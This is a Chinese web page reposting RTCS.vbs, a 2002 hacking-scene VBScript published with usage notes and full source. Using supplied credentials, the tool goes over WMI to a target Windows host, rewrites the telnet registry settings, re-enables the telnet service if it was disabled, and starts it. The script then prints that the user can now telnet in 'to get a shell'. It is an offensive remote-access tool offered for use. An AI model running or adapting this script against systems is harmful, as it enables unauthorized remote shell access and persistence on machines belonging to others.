远程开启/关闭目标telnet服务的windows脚本RTCS.vbs |
******************************************************************************** RTCS v1.10 Remote Telnet Configure Script, by zzzEVAzzz Welcome to visite www.isgrey.com Usage: cscript c:\scriptpath\RTCS.vbe targetIP username password NTLMAuthor telnetport It will auto change state of target telnet server. ******************************************************************************** 描述:远程开启/关闭目标telnet服务的windows脚本 。 特点:不依赖于目标的ipc$开放与否 。 原理:直接访问目标的windows管理规范服务(WMI) 。该服务为系统重要服务,默认启动 。 支持平台:win2kpro win2kserver winxp win.net 使用方法: 在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如: c:\>cscript RTCS.vbe <目标IP> <用户名> <密码> <NTLM验证方式> <telnet服务端口> 其中 NTLM 值可取0,1,2: 0: 不使用 NTLM 身份验证; 1: 先尝试 NTLM 身份验证 。如果失败,再使用用户名和密码; 2: 只使用 NTLM 身份验证 。 空密码用两个双引号""表示 。 脚本自动检查目标telnet服务情况,如果未启动则启动它,相反就关闭 。 同一个命令执行两遍,就开/关一次服务 。 关闭服务时也必须输入共5个参数,这样可以根据需要把服务设置还原为默认值(NTLM=2,端口23) 。 如果telnet服务被禁用,将自动更改为“手动” 。 如果要对本地使用,IP地址为127.0.0.1或者一个点(用.表示),用户名和密码都为空(用""表示) 。 此脚本为自由软件,修改发布请著明原作者 。谢谢合作 。 本人提供有限技术支持,有问题请到论坛发短消息给我 。我的ID是zzzevazzz 最后更新:2002-8-23 更新记录: 1.10 更改了输出显示格式 。 1.09 解决了空密码的问题 。 1.08 代码加密并以测试版发布 。 1.07 增加对付服务被“禁用”的功能 。 1.06 解决在图形界面下运行的问题 。 1.05 对参数做简单判断,防止误操作 。 1.04 增加显示Usage和详细过程功能 。 1.03 增加关闭服务功能 。 1.02 增加手动设置端口和NTLM功能 。 1.00 完成基本功能,远程启动telnet服务,并设置NTLM=1 。 复制代码 代码如下: on error resume next set outstreem=wscript.stdout if (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit end if if wscript.arguments.count<5 then usage() wscript.echo "Not enough parameters." wscript.quit end if ipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) ntlm=wscript.arguments(3) port=wscript.arguments(4) if not isnumeric(ntlm) or ntlm<0 or ntlm>2 then usage() wscript.echo "The value of NTML is wrong." wscript.quit end if if not isnumeric(port) then usage() wscript.echo "The value of port is wrong." wscript.quit end if usage() outstreem.write "Conneting "&ipaddress&"...." set objlocator=createobject("wbemscripting.swbemlocator") set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password) showerror(err.number) outstreem.write "Setting NTLM="&ntlm&"...." set objinstance=objswbemservices.get("stdregprov") set objmethod=objinstance.methods_("SetDWORDvalue") set objinparam=objmethod.inparameters.spawninstance_() objinparam.hdefkey=&h80000002 objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0" objinparam.svaluename="NTLM" objinparam.uvalue=ntlm set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam) showerror(objoutparam.returnvalue) outstreem.write "Setting port="&port&"...." objinparam.svaluename="TelnetPort" objinparam.uvalue=port set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam) showerror(objoutparam.returnvalue) outstreem.write "Querying state of telnet server...." set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password) set colinstances=objswbemservices.execquery("select * from win32_service where name=tlntsvr") showerror(err.number) for each objinstance in colinstances if objinstance.startmode="Disabled" then outstreem.write "Telnet server has been disabled. Now changeing start mode to manual...." set objmethod=objinstance.methods_("changestartmode") set objinparam=objmethod.inparameters.spawninstance_() objinparam.startmode="Manual" set objoutparam=objinstance.execmethod_("changestartmode",objinparam) showerror(objoutparam.returnvalue) end if outstreem.write "Changeing state...." if objinstance.started=true then intstatus=objinstance.stopservice() showerror(intstatus) wscript.echo "Target telnet server has been STOP Successfully." else intstatus=objinstance.startservice() showerror(intstatus) wscript.echo "Target telnet server has been START Successfully!" wscript.echo "Now, you can try: telnet "&ipaddress&" "&port&", to get a shell." end if next function showerror(errornumber) if errornumber<>0 then wscript.echo "Error!" wscript.quit else wscript.echo "OK!" end if end function function usage() wscript.echo string(79,"*") wscript.echo "RTCS v1.10" wscript.echo "Remote Telnet Configure Script, by zzzEVAzzz" wscript.echo "Welcome to visite www.isgrey.com" wscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password NTLMAuthor telnetport" wscript.echo "It will auto change state of target telnet server." wscript.echo string(79,"*")&vbcrlf end function |